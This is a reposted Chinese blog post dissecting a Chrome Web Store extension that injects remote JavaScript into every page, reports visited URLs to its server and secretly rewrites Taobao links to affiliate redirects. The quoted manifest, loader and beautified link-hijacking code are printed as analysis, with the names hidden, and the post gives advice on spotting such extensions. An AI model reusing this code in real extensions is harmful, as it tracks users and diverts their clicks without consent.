转载自https://www.imququ.com/post/chrome-extensions-and-user-privacy.html

 

Google Chrome浏览器应该早就是大家的默认了,就连我这个Firefox的忠实用户(至少7年),前不久也换到Chrome了。Chrome本身非常安全,但是很早就有网站报道Chrome扩展很容易在用户浏览的任意网站注入js,收集用户行为;替换链接进行盈利;甚至盗取用户账户信息。

今天从Chrome Web Store官方下载安装了几个扩展后,亲身体验到这一恶意行为。经过是这样的:

我装好Google出品的Page Speed之后,分析了一下我的个人博客。在它给出的建议里:“压缩 JavaScript”这一项居然有以下提示:

压缩以下 JavaScript 资源可腾出的空间大小为 274B(即缩减 100%)。

压缩 http://xxx.xxx.com/js/xxx/extension.js 可腾出的空间大小为 274B(即缩减 100%)。

显然,这个js不是我主动加入的。排除了服务器代码被篡改、传输过程中被篡改(我这种小流量个人博客,再黑心的运营商也不屑于篡改吧)两种可能之后,很快将目标锁定在新安装的几个Chrome扩展上。

输入chrome://extensions/查看已安装的扩展,找到有嫌疑的扩展,记下ID。打开Chrome存放扩展的目录(不同系统在不同目录,可以网上搜下,或者用Everything找),Mac OS的在:~/Library/Application Support/Google/Chrome/Default/Extensions。找到与之前记下的ID相匹配的目录进去。首先扫一眼扩展根目录的manifest.json。果然,目标暴露了:

 
"content_scripts": [ {
      "js": [ "js/inject.js" ],
      "matches": [ "http://*/*" ],
      "run_at""document_idle"
   } ]

content scrpits是在页面内运行的JavaScript脚本,通过使用标准的DOM,可以获取或修改用户浏览页面的详细信息。一般Chrome扩展通过content scripts用来增强特定网站功能,除少数对所有网站都有用的扩展(如迅雷私有链转换扩展)之外,matches项只需要包含特定网站即可。而我遇到的这个扩展,显然不需要有在任何网站运行JS的权限。

看下inject.js的代码:

 
(function(){
    function init(){
        var s,head;
        s=document.createElement("script");
        s.type="text/javascript";
        s.charset="utf-8";
        head = document.getElementsByTagName('head')[0];
        head.appendChild(s);
    }
    init();
})();

这段代码又引入了作者服务器上的一个js文件,也就是被Page Speed发现的那个文件。引入在线文件的好处是灵活可控,服务端可以随时更改策略。再看下这个文件的内容:

 
(function(){
  var s,head;
    s=document.createElement("script");
    s.type="text/javascript";
    s.charset="utf-8";
    head = document.getElementsByTagName('head')[0];
    head.appendChild(s);
})();

很囧的是这个js继续引入了另外一个js文件,好在没有更多了,这就是我们要找的。代码被压缩过,jsbeautifier下,真相大白(节选后的代码还是很长,默认折叠,有兴趣的同学可以点开看):

 
SITE_PATTERN: {
    "^(http|https)://www\.(taobao|tmall)\.com/""tb",
    "^(http|https)://*/*""other"
}
//...
injectHtml: function (a, b) {
    switch (b.site) {
        case "tb":
            A1eg300.linkConvert();
            break;
        default:
            break
    }
}
//...
linkConvertProbability: function () {
    var a = 31;
    var b = 10;
    var c = new Date().getMilliseconds();
    var d = c % a;
    var e = A1eg300.util.getRandomNum(0, a - 1);
    d = Math.round(d / b);
    e = Math.round(e / b);
    if (d == e) {
        return true
    else {
        return false
    }
}
//...
linkConvertParams: function (a, b) {
    var c = "api/linkparam/";
    var d = {
        "key": a,
        "op""get"
    };
    A1eg300.util.jsonp(c, d, b)
}
//...
linkConvert: function () {
    var a = true;
    if (a) {
        var b = A1eg300.keys.userLinkConvert;
        A1eg300.linkConvertParams(b, function (c) {
            var d = c.result;
            if ( !! d) {
                var e = false;
                if ( !! c[b]) {
                    A1eg300.params.isLinkConverted = true
                };
                if (!A1eg300.params.isLinkConverted) {
                    e = true
                };
                if (e) {
                    var f = c.redirectUrl;
                    A1eg300.$("a").each(function () {
                        var g = A1eg300.$(this);
                        var h = A1eg300.$(this).attr("href");
                        g.click(function () {
                            if (!A1eg300.params.isLinkConverted && "undefined" !== typeof h && "" !== h && null !== h) {
                                f += "?r=taobao&link=" + encodeURIComponent(h);
                                A1eg300.$(this).attr("href", f);
                                var i = true;
                                var j = 7 * 24 * 3600;
                                A1eg300.api.setCookie(b, i, j, function () {
                                    A1eg300.params.isLinkConverted = true;
                                    A1eg300.$(this).attr("href", h)
                                })
                            }
                        }).mouseover(function () {
                            var i = A1eg300.$(this).attr("href");
                            if (f === i) {
                                A1eg300.$(this).attr("href", h)
                            }
                        })
                    })
                }
            }
        })
    }
}

上面这段代码至少做了几件事:获取用户当前浏览的页面url并将其分类(tb|other);将url发送给服务器(linkConvertParams);根据服务器返回的内容替换页面上的链接地址(linkConvert)。

本文只想谈谈Chrome扩展带来的安全隐患,并不想讨伐某个具体的扩展。该扩展的名称、代码暴露的网址我故意隐藏掉了。该作者的其他扩展也有类似的代码,扩展本身都非常优秀:功能实用、界面美观、交互流畅,在Chrome商店都有5w左右的安装量。

一直不太认同Google宽松的审核制度。拿移动市场来说,几大市场只有Google Play可以在几个小时内上架新App。不负责任的审核,导致Android官方市场经常出现恶意App,相信Chrome商店也有类似问题。Google一直都在推广自己的浏览器,一直在给大家灌输Chrome是最安全的浏览器的思想。我觉得Google也应该承担起相应的责任,减少用户隐私被泄露的可能。至少,对普通用户而言,他们需要对有自己的隐私数据有知情权和选择权。虽然Chrome商店在不起眼的地方写了类似于“Your data on all websites;Your tabs and browsing activity”的权限说明,但这对普通用户来说,作用非常有限。

现阶段,对于普通用户,推荐只安装知名扩展和官方开发的扩展。懂技术的同学可以通过“开发者工具”的“Network”和“Sources”两个tab来检查已安装的扩展有没有异常的行为,自己改掉有问题的代码。Chrome扩展的优点是代码透明,改起来非常方便。

Chrome扩展开发者花费了大量的心血开发免费软件给用户使用,很难得,尝试从扩展中获利也无可厚非。但个人认为,这种完全不告知用户的情况下就收集数据,甚至修改页面始终是不厚道的。本人也是一名开发者,深刻体会到在这个神奇的国度开发软件想要通过正当途径赚钱有多么不容易。直接收费不现实;放Google广告转化率太低;靠捐助也几乎不可能。不过外界环境恶劣不应该成为作恶的借口,有些底限还是要守住的。

Chrome扩展与用户隐私的更多相关文章

  1. Chrome和火狐插件让数以百万计用户隐私数据泄露

      https://tech.163.com/19/0721/12/EKK1PRAU00097U7R.html   网易科技讯7月21日消息,据国外媒体报道,流行浏览器诸如广告拦截等扩展功能,已经遭利 ...

  2. 分享一些好用的 Chrome 扩展

    阅读本文大概需要 2.8 分钟. 前言 使用浏览器扩展程序可以使你的工作效率提高数倍不止,那么下面我就向大家分享一下我日常使用的扩展,可能大多数扩展大家都已经在使用了,不过也难免有一两个是你不知道的. ...

  3. Chrome扩展开发之二——Chrome扩展中脚本的运行机制和通信方式

    目录: 0.Chrome扩展开发(Gmail附件管理助手)系列之〇——概述 1.Chrome扩展开发之一——Chrome扩展的文件结构 2.Chrome扩展开发之二——Chrome扩展中脚本的运行机制 ...

  4. 实现chrome扩展启动本地进程 - 补充

    实现chrome扩展启动本地进程 - 补充 标签: chrome扩展启动本地程序访问本地磁盘 2014-10-17 11:42 6753人阅读 评论(17) 收藏 举报  分类: Chrome Plu ...

  5. 手把手教你开发chrome扩展一:开发Chrome Extenstion其实很简单

    手把手教你开发chrome扩展一:开发Chrome Extenstion其实很简单   手把手教你开发chrome扩展一:开发Chrome Extenstion其实很简单 手把手教你开发Chrome扩 ...

  6. chrome扩展

    chrome拓展开发实战:页面脚本的拦截注入 时间 2015-07-24 11:15:00  博客园精华区 原文  http://www.cnblogs.com/horve/p/4672890.htm ...

  7. Chrome扩展开发(Gmail附件管理助手)系列之〇——概述

    目录: 0.Chrome扩展开发(Gmail附件管理助手)系列之〇——概述 1.Chrome扩展开发之一——Chrome扩展的文件结构 2.Chrome扩展开发之二——Chrome扩展中脚本的运行机制 ...

  8. Chrome扩展开发之一——Chrome扩展的文件结构

    目录: 0.Chrome扩展开发(Gmail附件管理助手)系列之〇——概述 1.Chrome扩展开发之一——Chrome扩展的文件结构 2.Chrome扩展开发之二——Chrome扩展中脚本的运行机制 ...

  9. Chrome扩展开发之三——Chrome扩展中的数据本地存储和下载

    目录: 0.Chrome扩展开发(Gmail附件管理助手)系列之〇——概述 1.Chrome扩展开发之一——Chrome扩展的文件结构 2.Chrome扩展开发之二——Chrome扩展中脚本的运行机制 ...

随机推荐

  1. bzoj2424

    比较简单的费用流,一目了然 ; type node=record next,point,flow,cost:longint; end; ..] of node; q:..] of longint; p ...

  2. ♫【JS基础】壹零零壹

    如何面试一个前端开发者? function spacify(str) { return str.split('').join(' ') } console.log(spacify('hello wor ...

  3. 301重定向与CNAME

    CNAME记录是域名指向另一个域名A记录是域名指向IP地址URL跳转是打开这个网址的时候会跳转到另一个指定的网址,URL跳转分为301永久重定向和302临时重定向. 301永久重定向会使搜索引擎抓取新 ...

  4. [置顶] 【Git入门之十三】Ubuntu和git

    原创作品,转载请标明:http://blog.csdn.net/jackystudio/article/details/12374291 之前我们都是在Windows平台下操作git.现在我们改用Ub ...

  5. HeadFirst设计模式笔记:(六)命令模式 —— 封装调用

    1.概念 将来自客户端的请求传入一个对象,从而使你可用不同的请求对客户进行参数化.用于“行为请求者”与“行为实现者”解耦,可实现二者之间的松耦合,以便适应变化.分离变化与不变的因素. 在面向对象的程序 ...

  6. Android学习小Demo一个显示行线的自定义EditText

    今天在处理一个EditText的时候,想着把EditText做成像一本作业本上的纸一样,每一行都可以由线条隔开,具体效果如下: 1)最开始的思路 一开始的想法是很简单的,找出每一行的高度,然后一行一行 ...

  7. 基于redis 内存数据库简单使用

    在ecplise中使用内存数据的客端户,前提要准备要下载两个jar包 commons-pool2-2.0.jar jedis-2.4.2.jar 前提准备做好了,那我们就开启redis的服务,打开一个 ...

  8. Meth | phpstorm 2016.2 的最新破解方法(截止2016-8-1)

    今天刚更新了phpstorm 2016.2版本,发现网上提供的破解地址都有问题,即*.lanyus.com及*.qinxi1992.cn下的全部授权服务器已遭JetBrains封杀. 最后网上找到一个 ...

  9. [转] Linux文件系统之hard link&symbol link

    这个图很清楚的表示出硬链接和软链接的方式. 1.硬链接: 基本定义:硬链接是有着相同inode号的仅文件名不同的文件(该文件名包含路径信息). 理解:如图,hard link和原始file通过同一个i ...

  10. Codeforces 540D Bad Luck Island - 概率+记忆化搜索

    [题意] 一个岛上有三种生物A,B,C,各有多少只在输入中会告诉你,每种最多100只 A与B碰面,A会吃掉B, B与C碰面,B会吃掉C, C与A碰面,C会吃掉A...忍不住想吐槽这种环形食物链 碰面是 ...